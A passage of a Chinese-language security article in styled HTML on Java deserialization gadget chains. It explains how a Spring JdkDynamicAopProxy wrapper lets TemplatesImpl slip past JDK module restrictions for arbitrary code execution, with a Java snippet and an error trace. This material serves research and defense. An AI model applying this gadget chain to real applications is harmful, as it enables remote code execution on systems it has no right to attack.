1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK</span></code><span leaf=""> 中无法使用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl#getOutputProperties</span></code><span leaf=""> ，因为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl</span></code><span leaf=""> 位于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">com.sun.org.apache.xalan.internal.xsltc.trax</span></code><span leaf=""> 包下，过不了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Module</span></code><span leaf=""> 限制：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">java.lang.IllegalAccessError: </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">class</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">Main</span></span><span leaf=""> (in unnamed </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">module</span></span><span leaf=""> @</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">0x2ff5659e</span></span><span leaf="">) cannot access </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">class</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">com</span></span><span leaf="">.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">module</span></span><span leaf=""> java.xml) because </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">module</span></span><span leaf=""> java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">module</span></span><span leaf=""> @</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">0x2ff5659e</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">似乎在高版本 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK</span></code><span leaf="">中</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl</span></code><span leaf="">已无用武之地了。回顾</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Jackjson gadget</span></code><span leaf="">，获取</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl</span></code><span leaf="">中的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">get</span></code><span leaf="">属性时，存在一定的随机性，不一定会先调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getOutputProperties</span></code><span leaf="">，相反可能会优先调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getStylesheetDOM</span></code><span leaf="">，因为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_sdom</span></code><span leaf="">取值为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">null</span></code><span leaf="">，从而抛出异常导致调用中断。目前公开的思路是借助</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JdkDynamicAopProxy</span></code><span leaf="">动态代理来排除掉非接口类型的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getter</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;background: rgb(43, 43, 43);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">Class&lt;?&gt; clazz = Class.forName(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(171, 227, 56);"><span leaf="">&#34;org.springframework.aop.framework.JdkDynamicAopProxy&#34;</span></span><span leaf="">);</span><span leaf="">Constructor&lt;?&gt; cons = clazz.getDeclaredConstructor(AdvisedSupport.class);</span><span leaf="">cons.setAccessible(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">true</span></span><span leaf="">);</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">AdvisedSupport</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">advisedSupport</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">AdvisedSupport</span></span><span leaf="">();</span><span leaf="">advisedSupport.setTarget(obj);</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">InvocationHandler</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">handler</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> (InvocationHandler) cons.newInstance(advisedSupport);</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(245, 171, 53);"><span leaf="">Object</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 160, 122);"><span leaf="">proxyObj</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><span leaf="">=</span></span><span leaf=""> Proxy.newProxyInstance(clazz.getClassLoader(), </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(220, 198, 224);"><span leaf="">new</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(0, 224, 224);"><span leaf="">Class</span></span><span leaf="">[]{Templates.class}, handler);</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">无心插柳，代理后 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl</span></code><span leaf=""> 变成了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">javax.xml.transform.Templates</span></code><span leaf=""> 这个被继承的接口对象，此时 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">javax.xml</span></code><span leaf=""> 包下刚好不受 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Module</span></code><span leaf=""> 限制，无意间实现了绕过。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">模板类 bypass Module</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl#getOutputProperties</span></code><span leaf=""> 最终是通过模板类字节码加载的方式来实现任意</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Java</span></code><span leaf="">代码执行，但是正常情况下这里的模板类必须继承</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AbstractTranslet</span></code><span leaf="">，显然仍然过不了</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Module</span></code><span leaf="">。那么为什么必须继承</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AbstractTranslet</span></code><span leaf="">呢？前几年已经有大佬进行过分析，原因是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">TemplatesImpl</span></code><span leaf="">在反序列化过程中，需要通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">defineTransletClasses</span></code><span leaf="">函数来进行字节码加载还原出模板类，该函数内部将判断生成的类是否继承于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AbstractTranslet</span></code><span leaf="">，如果不是就会添加到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_auxClasses</span></code><span leaf="">中去，因此需要在</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_bytecodes</span></code><span leaf="">放入多个类保证</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_auxClasses</span></code><span leaf="">被实例化为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">HashMap</span></code><span leaf="">，此外还必须保证</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">_transletIndex</span></code><span leaf="">的值不小于</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 